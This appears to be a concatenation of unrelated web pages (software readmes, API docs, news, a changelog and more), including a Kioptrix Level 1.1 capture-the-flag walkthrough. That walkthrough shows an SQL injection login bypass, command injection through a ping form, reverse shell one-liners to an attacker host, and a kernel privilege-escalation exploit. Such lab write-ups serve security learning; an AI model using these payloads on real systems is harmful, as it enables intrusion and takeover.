LocalStorage is used instead of session for old notification history!


HmmBox is a text or console-based test tool. It can also be used as a general-purpose "shell". It is not intended to be used for commercial purposes, for the efficiency was not the primary factor in its implementation. Rather, it is hoped that the implementation is clear and transparent enough that it can be used as a model program for students wishing to learn basics of hidden Markov models (HMMs). HmmBox is a part of a larger software package called HmmSDK, and it is built on top of the Hidden Markov Model Library, HmmLib, which contains all essential functionalities of HMMs. Please visit its home page for more information.
You need the version 1.4 or later of the software development kit for Java 2 Platform Standard Edition (J2SE) in order to be able to use this library. If you have an eariler version of JDK, then you might still be able to use this: You'll need some extra libraries like XML parsers, and you might have to comment out some JDK1.4 specific keywords such as assert. This configuration is, however, not supported, and HmmBox is currently being developed only with JDK 1.4.
unzip hmmsdk-hmmbox-bin-M.m.r.b.zip
| bluecraft.hmmbox-M.m.jar | Class and resource files. Do not unzip this archive. |
| lib/ | Third-party library directory. These libraries may be required at either run-time or compile-time in order to be able to use HmmBox. |
| docs/ | Documentation directory, which includes this readme file and the public license file for this software. |
| apidocs/ | Javadoc directory. HTML-ized version of source files can be accessed from Javadocs. |
set CLASSPATH=%CLASSPATH%;"YOUR_DIRECTORY"\bluecraft.hmmbox-M.m.jar
Please visit HmmSDK home page for up-to-date information.


| mysqlBuildTableDefinition {RMySQL} | R Documentation |
The output SQL statement is a simple CREATE TABLE
with suitable for
dbGetQuery
mysqlBuildTableDefinition( dbObj, name, obj, field.types = NULL, row.names = TRUE, ... )
dbObj |
any DBI object (used only to dispatch according to the engine (e.g., MySQL, Oracle, PostgreSQL, SQLite) |
name |
name of the new SQL table |
obj |
an R object coerceable to data.frame for which we want to create a table |
field.types |
optional named list of the types for each field in
|
row.names |
logical, should row.name of |
... |
reserved for future use |
An SQL string


Before Change
// Create random Tensors for weights, and wrap them in Variables.
// Setting requires_grad=True indicates that we want to compute gradients with
// respect to these Variables during the backward pass.
w1 = Variable(torch.randn(D_in, H).type(dtype), requires_grad=True)
w2 = Variable(torch.randn(H, D_out).type(dtype), requires_grad=True)
learning_rate = 1e-6
After Change
// Create random Tensors to hold input and outputs.
// Setting requires_grad=False indicates that we do not need to compute gradients
// with respect to these Tensors during the backward pass.
x = torch.randn(N, D_in, device=device, dtype=dtype)
y = torch.randn(N, D_out, device=device, dtype=dtype)
// Create random Tensors for weights.
// Setting requires_grad=True indicates that we want to compute gradients with
// respect to these Tensors during the backward pass.
w1 = torch.randn(D_in, H, device=device, dtype=dtype, requires_grad=True)
w2 = torch.randn(H, D_out, device=device, dtype=dtype, requires_grad=True)
learning_rate = 1e-6
for t in range(500):
// Forward pass: compute predicted y using operations on Tensors; these
// are exactly the same operations we used to compute the forward pass using
// Tensors, but we do not need to keep references to intermediate values since
// we are not implementing the backward pass by hand.
y_pred = x.mm(w1).clamp(min=0).mm(w2)
// Compute and print loss using operations on Tensors.
// Now loss is a Tensor of shape (1,)
// loss.item() gets the a scalar value held in the loss.
loss = (y_pred - y).pow(2).sum()
print(t, loss.item())
// Use autograd to compute the backward pass. This call will compute the
// gradient of loss with respect to all Tensors with requires_grad=True.


eex
is a collection of web eexperiments
Built by
Dennis Jin
/
tofuness.com
.
Open-sourced on
Github
.
Canvas Life ↱
latest
Satoshi Visualizer ↱
Moiré Pattern ↱
Springy Letters ↱
Einstein Waves ↱
Vector Field ↱
Studies In a Dying Culture ↱
Sine Wave and Circles ↱


public interface MobileMessenger
| Modifier and Type | Interface and Description |
|---|---|
static class |
MobileMessenger.Builder
Builder helper to construct the
MobileMessenger |
static class |
MobileMessenger.RootPolicy
RootPolicy that defines the behavior when the device is detected as Rooted.
|
| Modifier and Type | Method and Description |
|---|---|
MobileMessageManager |
defaultMessageManager(String providerId)
Returns the Default Mobile Message Manager.
|
MobileMessageManager |
getMessageManager(String clientId,
String providerId)
Returns the Mobile Message Manager
|
Set<String> |
listClients()
Return all the clients that has been registered.
|
Set<String> |
listClients(String userId)
Return all the clients that has been registered for the userId.
|
boolean |
persistClientId(String userId,
String clientId)
If your client was registered using Core API of the Mobile Protector SDK, call this method to insert your clientId
so you can use your existing data with the new APIs.
|
void |
refreshToken(String channel,
String endpoint,
Map<String,String> customHeaders,
MobileMessengerCallback callback)
Set/Clear the notification profile.
|
void |
refreshToken(String clientId,
String channel,
String endpoint,
Map<String,String> customHeaders,
MobileMessengerCallback messengerCallback)
Set/Clear the notification profile.
|
void |
register(String userId,
String userAlias,
String registrationCode,
Map<String,String> customHeaders,
RegistrationCallback callback)
Performs the registration of the user to the OOB server.
|
void |
unregister(Map<String,String> customHeaders,
MobileMessengerCallback messengerCallback)
Performs the un-registration of the client.
|
void |
unregister(String clientId,
Map<String,String> customHeaders,
MobileMessengerCallback messengerCallback)
Performs the unregistration of the user to the OOB server.
|
void register(@NonNull String userId, @NonNull String userAlias, @NonNull String registrationCode, @Nullable Map<String,String> customHeaders, @NonNull RegistrationCallback callback)
userId
- The ID of the user who registers to the OOB server.userAlias
- Human readable alias for this client.registrationCode
- Registration is authorised by the registration code entered by the user via the application UI.customHeaders
- The request parameter containing custom header.callback
- The callback to be triggered as soon as the operation completes with any result. Must never be
null
. Note that the callback is always called from within the main UI thread context and
always after this method returns to its caller.void unregister(@Nullable Map<String,String> customHeaders, @NonNull MobileMessengerCallback messengerCallback)
customHeaders
- The request parameter containing custom header.messengerCallback
- The callback to be triggered as soon as the operation completes with any result. Must never be
null
. Note that the callback is always called from within the main UI thread context and
always after this method returns to its caller.void unregister(@NonNull String clientId, @Nullable Map<String,String> customHeaders, @NonNull MobileMessengerCallback messengerCallback)
clientId
- The ID of the user who unregister from the OOB server.customHeaders
- The request parameter containing custom header.messengerCallback
- The callback to be triggered as soon as the operation completes with any result. Must never be
null
. Note that the callback is always called from within the main UI thread context and
always after this method returns to its caller.void refreshToken(@NonNull String channel, @Nullable String endpoint, @Nullable Map<String,String> customHeaders, @NonNull MobileMessengerCallback callback)
Set/Clear the notification profile. The framework updates the notification profile on the OOB server in the first time. In subsequent invocation to this API, the framework checks the value of the endPoint. Notification profile is updated if the endPoint value is different from previous value. Otherwise the framework skips the server call.
This method is executed asynchronously and the result will be posted in the provided callback interface. The callback will be done in the UI thread. If a null list is provided, the notification profile will be cleared.
channel
- The channel to use for the notification (SMS, push, email, etc.)endpoint
- Value associated with this channel.customHeaders
- The request parameter containing custom header.callback
- The object that will be use to post the result to the UI thread.void refreshToken(@NonNull String clientId, @NonNull String channel, @Nullable String endpoint, @Nullable Map<String,String> customHeaders, @NonNull MobileMessengerCallback messengerCallback)
Set/Clear the notification profile. The framework updates the notification profile on the OOB server on the first time. In subsequent invocation to this API, the framework checks the value of the endPoint. Notification profile is updated if the endPoint value is different from previous value. Otherwise the framework skips the server call.
This method is executed asynchronously and the result will be posted in the provided callback interface. The callback will be done in the UI thread. If a null list is provided, the notification profile will be cleared.
clientId
- The ID of the user who registered with the OOBS.channel
- The channel to use for the notification (SMS, push, email, etc.)endpoint
- Value associated with this channel.customHeaders
- The request parameter containing custom header.messengerCallback
- The object that will be use to post the result to the UI thread.Set<String> listClients(@NonNull String userId)
Set<String> listClients()
@Nullable MobileMessageManager defaultMessageManager(@NonNull String providerId) throws FastTrackException
providerId
- The ID of the provider used for message communication.FastTrackException
@Nullable MobileMessageManager getMessageManager(@NonNull String clientId, @NonNull String providerId)
clientId
- The ID of the user who registered with the OOBS.providerId
- The ID of the provider used for message communication.boolean persistClientId(@NonNull String userId, @NonNull String clientId)
userId
- The ID associated with the clientIdclientId
- The ID of the user who registered with the OOBS.


Here is an outdoor game for all the family. After singing lustily at the Sunday service, and having a little chat with the vicar on the church steps, you should repair to a patch of waste ground, taking with you a couple of battered iron pails, an unopened packet of processed cheese triangles, and some strips of bark from a pugton tree. Each family member should don a red balaclava, apart from the tiniest one, who goes bare-headed. One side of the patch of waste ground is designated Nobby Stiles. The opposite side is consecrated to David Blunkett. The object of the game is to get from Stiles to Blunkett as directly as possible, cleanly and without undue dithering. If the patch of waste ground is assailed by inclement weather, for instance a howling gale, a teeming downpour, or thunder and lightning, the family may be accompanied by beetle-browed urchins from beyond the railway tracks. Use counters and a tally stick to keep score.


In this lesson you will learn how to write a formal email.
Writing formal emails is a key skill required in many industries and in everyday life.
You may already write emails, so some of the information in this lesson may be familiar to you, but some of it should also be new.
{{ badgePanel({ title: 'Email Expert', text: 'Score 70% or more in the lesson’s quiz to unlock this badge', locked: true }) }} Start lesson


{% endblock %}
{% block content %}
{% get_unread_message_count_for user as unread_message_count %}
{{ unread_message_count }} new messages.
{% for contact in conversation_list %}
{% if contact.from_user == user %}
{{ contact.to_user }}
{% get_unread_message_count_between user and contact.to_user as unread_between_count %}
{% else %}
{{ contact.from_user }}
{% get_unread_message_count_between user and contact.from_user as unread_between_count %}
{% endif %}
{{ contact.latest_message }} {{ unread_between_count }} new messages for this user.


KIOPTRIX LEVEL 1.1 (#2)
Kioptrix series consists of 5 vulnerable machines. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
Enumeration
Nmap
- -p- –> to scan ports from 1 through 65535
- -sV –> Version detection
- -sC –> script scan using the default set of scripts => equivalent to –script=default
- -A –> Aggressive scan options
- –min-rate 1000 –> 1000 packets per second
- –max-retries 5 –> number of times a packet is to be resent on a port to check
nmap -p- -sV -sC -A --min-rate 1000 --max-retries 5 <IP_ADDRESS>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-14 14:47 EDT
Stats: 0:01:53 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 14:49 (0:00:17 remaining)
Stats: 0:03:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.89% done; ETC: 14:50 (0:00:00 remaining)
Nmap scan report for <IP_ADDRESS>
Host is up (0.0052s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1010/udp status
|_ 100024 1 1013/tcp status
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2021-06-14T15:40:58+00:00; -3h09m28s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
1013/tcp open status 1 (RPC #100024)
3306/tcp open mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Host script results:
|_clock-skew: -3h09m28s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 222.78 seconds
Nikto
To scan web server running on port 80.
nikto -h <IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2021-06-16 14:55:32 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.0.52 (CentOS)
+ Retrieved x-powered-by header: PHP/4.3.9
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.0.52 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 357810, size: 4872, mtime: Sat Mar 29 13:41:04 1980
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8725 requests: 1 error(s) and 17 item(s) reported on remote host
+ End Time: 2021-06-16 14:56:17 (GMT-4) (45 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
services
Web servers,
port 443 and 80:
port 631:
Mysql,
Web Server
Login page found in the port 80, basic SQL injection worked to by pass the login.
SQL Injection
Payload in username and password field: ' or 1=1 --
Bypassed home page,
Command injection
127.1 is <IP_ADDRESS>, will open a new page /pingit.php
and provide output for that IP.
To concatenate bash commands, ;
, &&
can be used.
Source code of the index and pingit page,
From this, database used is webapp
.
127.1 && ls && cat index.php && cat pingit.php
PING 127.1 (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=0 ttl=64 time=0.000 ms
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from <IP_ADDRESS>: icmp_seq=2 ttl=64 time=0.025 ms
--- 127.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2009ms
rtt min/avg/max/mdev = 0.000/0.019/0.034/0.015 ms, pipe 2
index.php
pingit.php
";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
//print $query."
";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."
";
}
?>
Remote System Administration Login
Username
Password
Welcome to the Basic Administrative Web Console
Ping a Machine on the Network:
';
echo shell_exec( 'ping -c 3 ' . $target );
echo '
'; } ?>
nc
is not in the victim server. so, nc
reverse shell didn’t work.
127.1 && nc -nv <IP_ADDRESS> 4444 -e /bin/sh
Reverse shell cheat sheet : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Below reverse shell using bash worked,
127.1 && bash -i >& /dev/tcp/<IP_ADDRESS>/4444 0>&1
nc -nvlp 4444 1 ⨯
listening on [any] 4444 ...
connect to [<IP_ADDRESS>] from (UNKNOWN) [<IP_ADDRESS>] 32770
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ cat /etc/*-release
CentOS release 4.5 (Final)
bash-3.00$
Got Normal User(apache) shell.
Privilege Escalation
Linpeas
Linpeas can be used to enumerate,
Server created in host,
sudo python -m SimpleHTTPServer 80
Only /tmp
directory has write access, downloaded linpeas file in victim using wget.
wget <IP_ADDRESS>/linpeas.sh
By executing linpeas, operative system output with linux version 2.6.9
as red which needs attention.
Linux version 2.6.9-55.EL<EMAIL_ADDRESS>(gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
Searchsploit
$ searchsploit linux 2.6.9 centos
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Linux Kernel 2.6 < 2.6.19 (White Box 4 / C | linux_x86/local/9542.c
------------------------------------------- ---------------------------------
Shellcodes: No Results
exploit
Downloaded 9542.c
file from host.
bash-3.00$ gcc 9542.c -o 9542
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ./9542
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00#
Got root shell.
Reference
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS


Container ship sank in Java sea, crew rescued
by Mikhail VoytenkoContainer ship MITRA SEJAHTERA IX sank in the morning Nov 23 SW of Makassar in vicinity 05 56S 118 34E, Sulawesi, Indonesia, while en route from Surabaya to Kendari, southeast Sulawesi, with 147 containers on board. The ship reported on Channel 16 water ingress, developing list, at around 0700 WIT (UTC +7), shortly after report she capsized and sank. 15 crew were rescued by nearby ships, a lot of containers are floating around.
Container ship MITRA SEJAHTERA IX, call sign PMWB, length 89 meters, flag Indonesia, owner Samudera Raya Indo Line.


{{# Pivot (in some places) based on whether the user is a logged-in user or # a visitor browsing tree collections. isLoggedIn = (auth.user) and True or False }} {{left_sidebar_enabled,right_sidebar_enabled=False,False}} {{response.title = "Tree collections"}} {{### Add support scripts for single-page editor # JSON support for older browsers (esp. IE7) response.files.append(URL('static','js/json2.js')) # Knockout.js for binding JSON model to editing UI response.files.append(URL('static','js/knockout-2.3.0.js')) # KO plugin for paginated lists response.files.append(URL('static','js/knockout-paged-e4a5770702.js')) # Knockout bindings for Twitter Bootstrap components response.files.append(URL('static','js/knockout-bootstrap.min.js')) }} {{extend 'layout.html'}}
A collection is a list of trees, chosen for synthesis or any other purpose. Each collection has a nominal owner, but any logged-in user can choose to collaborate (add and manage trees) or simply follow its progress.
Collections are stored as documents in GitHub, a collaborative coding website. This curation tool makes it easy to edit and contribute data, but you'll need a (free) GitHub account to participate. Once you've created an account on GitHub, just login using the link above. Once you've agreed to give access to the OpenTree tool, you can start adding collections immediately.
| Collection name (click to edit) | {{ else: }}Collection name (click to view) | {{ pass }}How many trees | Last modified | Owner |
|---|---|---|---|---|


--- layout: post title: Box rides on iCloud's coattails, offers 50GB of free cloud storage to iOS users -- Engadget categories: [] tags: - boxnet - dropbox - geek status: publish type: post published: true meta: _original_post_id: '' _original_import_author: John Duprey author: ---
Box rides on iCloud's coattails, offers 50GB of free cloud storage to iOS users
No, your eyes don't deceive you -- Box is offering 50GBs of free storage inside its cloud for iOS users -- just like it did for TouchPad owners back in June. Anyone who downloads the latest version of Box's app for iPad and iPhone will receive their massive lot for data storage after registering a personal account (existing accounts can join in on the fun as well). To make better use of that extra space, Box will also be bumping upload capacity from 25MB to 100MB per file and baking in AirPlay support. Look, Box is obviously skitching on iCloud's tail, but it sure seems like a crazy good deal considering that space is yours "forever." The promotion will last for 50 days, officially starting at 12AM on October 14th -- although, we're already seeing the update on our end. Full details in the source link.
I got mine! I'm a dropbox user, but for 50GB of free storage for life, I'll get my foot in the door - hedge my bets. :)


‘Pure quality’: Roy Keane gives glowing verdict on Man United striker
Roy Keane says Manchester United striker Marcus Rashford is back to his best after his goal in England's 4-0 win on Sunday
by The Sport Review staffRoy Keane believes Marcus Rashford has rediscovered his top form after the Manchester United striker scored in a 4-0 win over Kosovo on Sunday night.
The 22-year-old came off the bench in the second half to find the net with an instinctive finish to extend England’s lead to three goals.
Rashford has been in red hot form for the 20-time English champions over the past couple of months.
The Manchester United striker has netted nine times and has made one assist in his last 10 games for club and country.
Rashford’s form will come as a relief to Ole Gunnar Solskjaer given Manchester United’s lack of options up front at present.
Former Manchester United captain Keane was impressed with Rashford’s quality finish in England’s 4-0 rout of Kosovo.
“Brilliant, brilliant goal,” Keane said during ITV’s coverage of England’s win.
“What a finish. He is back to his best. It was a lovely play, nice and simple. Does it matter about the opposition? Of course it does, because they’re getting opportunities, but that was the goal of the night. A lovely finish. Pure quality.”
Keane went on to say that England boss Gareth Southgate has three excellent options to lead his attack in the shape of Rashford, Harry Kane and Raheem Sterling.
Keane added: “The attacking three players you’d have at the minute are [Raheem] Sterling, [Harry] Kane and Rashford. The three of them are outstanding players who cause you all sorts of headaches.”
Rashford will be hoping to extend his prolific run when Manchester United take on Sheffield United on Sunday.
The Red Devils are in seventh position in the Premier League table and nine points adrift of fourth-placed Manchester City.
Manchester United will be hoping to improve upon their sixth-placed finish last term after Solskjaer replaced Jose Mourinho midway through the season.


| 143 | (A) | the firste of his felewes philipe was hatten |
| 138 | (C) | The fyfte of þe fellyschippe . phylyppe he hygħte |
| 139 | (D) | þe fift of her felawrede Philip he higħt |
| 137 | (E) | the fyfte of þat felaschipe . philip he hyȝte . |
| (Ex) | ---- no text ---- | |
| 142 | (L) | & þe fifþe of his felawys phelip was hoten |
| 136 | (P) | þe fyfte of folouers Philipp was haten |
| 138 | (U) | The fyft of the felawred / phełip he higħt |
| (V) | ---- no text ---- |


| Figure 1 |
Hypothesized changes in community trait composition moving f ... |
| Figure 2 |
A schematic presentation of the experimental setup applied i ... |
| Figure 3 |
Ordination plots of the canonical correspondence analyses ( ... |
| Figure 4 |
Ordination plots of the canonical correspondence analyses ( ... |
| Figure 5 |
Average response ratios (±1 SE) of taxonomic diversity (rich ... |
| Figure 6 |
Average response ratios (±1 SE) of functional trait diversit ... |
| Figure 7 |
Average response ratios (±1 SE) of functional trait diversit ... |
| Figure 8 |
Average response ratios (±1 SE) of functional trait diversit ... |


Fix an error with duplicates being returned by Timezone#all_country_zones and Timezone#all_country_zone_identifiers when used with tzinfo-data v1.2014.6 or later.
Use the zone1970.tab file for country timezone data if it is found in the zoneinfo directory (and fallback to zone.tab if not). zone1970.tab was added in tzdata 2014f. zone.tab is now deprecated.
Support zoneinfo files generated with zic version 2014c and later.
On platforms that only support positive 32-bit timestamps, ensure that conversions are accurate from the epoch instead of just from the first transition after the epoch.
Minor documentation improvements.
Raise the minimum supported Ruby version to 1.8.7.
Support loading system zoneinfo data on FreeBSD, OpenBSD and Solaris. Resolves #15.
Add canonical_identifier and canonical_zone methods to Timezone. Resolves #16.
Add a link to a DataSourceNotFound help page in the TZInfo::DataSourceNotFound exception message.
Load iso3166.tab and zone.tab files as UTF-8.
Fix Timezone#local_to_utc returning local Time instances on systems using UTC as the local time zone. Resolves #13.
Fix == methods raising an exception when passed an instance of a different class by making <=> return nil if passed a non-comparable argument.
Eliminate “require 'rational'” warnings. Resolves #10.
Eliminate “assigned but unused variable - info” warnings. Resolves #11.
Switch to minitest v5 for unit tests. Resolves #18.
TZInfo is now thread safe. ThreadSafe::Cache is now used instead of Hash to cache Timezone and Country instances returned by Timezone.get and Country.get. The tzinfo gem now depends on thread_safe ~> 0.1.
Added a transitions_up_to method to Timezone that returns a list of the times where the UTC offset of the timezone changes.
Added an offsets_up_to method to Timezone that returns the set of offsets that have been observed in a defined timezone.
Fixed a “can't modify frozen String” error when loading a Timezone from a zoneinfo file using an identifier String that is both tainted and frozen. Resolves #3.
Support TZif3 format zoneinfo files (now produced by zic from tzcode version 2013e onwards).
Support using YARD to generate documentation (added a .yardopts file).
Ignore the +VERSION file included in the zoneinfo directory on Mac OS X.
Added a note to the documentation concerning 32-bit zoneinfo files (as included with Mac OS X).
Fix a test case failure when tests are run from a directory that contains a dot in the path (issue #29751).
Allow TZInfo to be used with different data sources instead of just the built-in Ruby module data files.
Include a data source that allows TZInfo to load data from the binary zoneinfo files produced by zic and included with many Linux and Unix-like distributions.
Remove the definition and index Ruby modules from TZInfo and move them into a separate TZInfo::Data library (available as the tzinfo-data gem).
Default to using the TZInfo::Data library as the data source if it is installed, otherwise use zoneinfo files instead.
Preserve the nanoseconds of local timezone Time objects when performing conversions (issue #29705).
Don't add the tzinfo lib directory to the search path when requiring 'tzinfo'. The tzinfo lib directory must now be in the search path before 'tzinfo' is required.
Add utc_start_time, utc_end_time, local_start_time and local_end_time instance methods to TimezonePeriod. These return an identical value as the existing utc_start, utc_end, local_start and local_end methods, but return Time instances instead of DateTime.
Make the start_transition, end_transition and offset properties of TimezonePeriod protected. To access properties of the period, callers should use other TimezonePeriod instance methods instead (issue #7655).
Updated to tzdata version 2014a (mm.icann.org/pipermail/tz-announce/2014-March/000018.html).
Updated to tzdata version 2013g (mm.icann.org/pipermail/tz-announce/2013-October/000015.html).
Updated to tzdata version 2013b (mm.icann.org/pipermail/tz-announce/2013-March/000010.html).
Updated to tzdata version 2013a (mm.icann.org/pipermail/tz-announce/2013-March/000009.html).
Fix TimezoneTransitionInfo#eql? incorrectly returning false when running on Ruby 2.0.
Change eql? and == implementations to test the class of the passed in object instead of checking individual properties with 'respond_to?'.
Updated to tzdata version 2012i (mm.icann.org/pipermail/tz-announce/2012-November/000007.html).
Updated to tzdata version 2012h (mm.icann.org/pipermail/tz-announce/2012-October/000006.html).
Updated to tzdata version 2012c (article.gmane.org/gmane.comp.time.tz/4859).
Updated to tzdata version 2012b (article.gmane.org/gmane.comp.time.tz/4756).
Updated to tzdata version 2011n (article.gmane.org/gmane.comp.time.tz/4434).
Updated to tzdata version 2011k (article.gmane.org/gmane.comp.time.tz/4084).
Updated to tzdata version 2011h (article.gmane.org/gmane.comp.time.tz/3814).
Allow the default value of the local_to_utc and period_for_local dst parameter to be specified globally with a Timezone.default_dst attribute. Thanks to Kurt Werle for the suggestion and patch.
Version 0.3.28 (tzdata v2011g) - 13-Jun-2011 --------------------------------------------=
Add support for Ruby 1.9.3 (trunk revision 31668 and later). Thanks to Aaron Patterson for reporting the problems running on the new version. Closes #29233.
Updated to tzdata version 2011g (article.gmane.org/gmane.comp.time.tz/3758).
Updated to tzdata version 2011e (article.gmane.org/gmane.comp.time.tz/3707).
Updated to tzdata version 2011d (article.gmane.org/gmane.comp.time.tz/3662).
Updated to tzdata version 2010o (article.gmane.org/gmane.comp.time.tz/3473).
Updated to tzdata version 2010l (article.gmane.org/gmane.comp.time.tz/3354).
Corrected file permissions issue with 0.3.21 release.
Updated to tzdata version 2010j (article.gmane.org/gmane.comp.time.tz/3225).
Change invalid timezone check to exclude characters not used in timezone identifiers and avoid 'character class has duplicated range' warnings with Ruby 1.9.2.
Ruby 1.9.2 has deprecated “require 'rational'”, but older versions of Ruby need rational to be required. Require rational only when the Rational module has not already been loaded.
Remove circular requires (now a warning in Ruby 1.9.2). Instead of using requires in each file for dependencies, tzinfo.rb now requires all tzinfo files. If you were previously requiring files within the tzinfo directory (e.g. require 'tzinfo/timezone'), then you will now have to require 'tzinfo' instead.
Updated to tzdata version 2010i (article.gmane.org/gmane.comp.time.tz/3202).
Updated to tzdata version 2010h (article.gmane.org/gmane.comp.time.tz/3188).
Updated to tzdata version 2010g (article.gmane.org/gmane.comp.time.tz/3172).
Updated to tzdata version 2010e (article.gmane.org/gmane.comp.time.tz/3128).
Support the use of '-' to denote '0' as an offset in the tz data files. Used for the first time in the SAVE field in tzdata v2009u.
Updated to tzdata version 2009u (article.gmane.org/gmane.comp.time.tz/3053).
Updated to tzdata version 2009p (article.gmane.org/gmane.comp.time.tz/2953).
Added a description to the gem spec.
List test files in test_files instead of files in the gem spec.
Updated to tzdata version 2009l (article.gmane.org/gmane.comp.time.tz/2818).
Include current directory in load path to allow running tests on Ruby 1.9.2, which doesn't include it by default any more.
Updated to tzdata version 2009f (article.gmane.org/gmane.comp.time.tz/2668).
Untaint the timezone module filename after validation to allow use with $SAFE == 1 (e.g. under mod_ruby). Thanks to Dmitry Borodaenko for the suggestion. Closes #25349.
Updated to tzdata version 2008i (article.gmane.org/gmane.comp.time.tz/2440).
Updated to tzdata version 2008g (article.gmane.org/gmane.comp.time.tz/2335).
Support Ruby 1.9.0-5. Rational.new! has now been removed in Ruby 1.9. Only use Rational.new! if it is available (it is preferable in Ruby 1.8 for performance reasons). Thanks to Jeremy Kemper and Pratik Naik for reporting this. Closes #22312.
Apply a patch from Pratik Naik to replace assert calls that have been deprecated in the Ruby svn trunk. Closes #22308.
Updated to tzdata version 2008f (article.gmane.org/gmane.comp.time.tz/2293).
Updated to tzdata version 2008c (article.gmane.org/gmane.comp.time.tz/2183).
Support loading timezone data in the latest trunk versions of Ruby 1.9. Rational.new! is now private, so call it using Rational.send :new! instead. Thanks to Jeremy Kemper and Pratik Naik for spotting this. Closes #19184.
Prevent warnings from being output when running Ruby with the -v or -w command line options. Thanks to Paul McMahon for the patch. Closes #19719.
Updated to tzdata version 2008b (article.gmane.org/gmane.comp.time.tz/2149).
